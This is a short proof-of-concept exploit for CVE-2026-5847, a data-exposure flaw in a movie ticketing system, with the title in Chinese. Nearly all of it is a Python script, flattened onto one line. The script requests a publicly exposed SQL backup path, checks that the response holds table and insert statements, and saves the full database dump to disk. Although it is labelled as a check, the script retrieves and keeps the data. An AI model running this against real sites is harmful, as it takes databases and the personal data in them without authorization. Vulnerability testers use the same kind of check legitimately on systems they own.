CVE-2026-5847 电影票务系统信息泄露漏洞

import requests def check_vulnerability(target_url): """ Checks if the target is vulnerable to CVE-2026-5847. Attempts to download the exposed SQL backup file. """ # The vulnerable path identified in the CVE description vuln_path = "/db/moviedb.sql" full_url = f"{target_url.rstrip('/')}{vuln_path}" print(f"[*] Checking target: {full_url}") try: # Send a GET request to the target URL response = requests.get(full_url, timeout=10) # Check if the response status code is 200 (OK) if response.status_code == 200: # Verify if the content looks like an SQL file content = response.text if "CREATE TABLE" in content or "INSERT INTO" in content: print(f"[+] VULNERABILITY CONFIRMED!") print(f"[+] Successfully downloaded database backup.") print(f"[+] File size: {len(content)} bytes") # Save the file locally for analysis with open("moviedb_dump.sql", "w", encoding='utf-8') as f: f.write(content) print("[+] File saved as 'moviedb_dump.sql'") else: print("[-] File found but does not appear to be a valid SQL dump.") elif response.status_code == 404: print("[-] File not found (404). Target might not be vulnerable or path is different.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Example usage target = "http://127.0.0.1" check_vulnerability(target)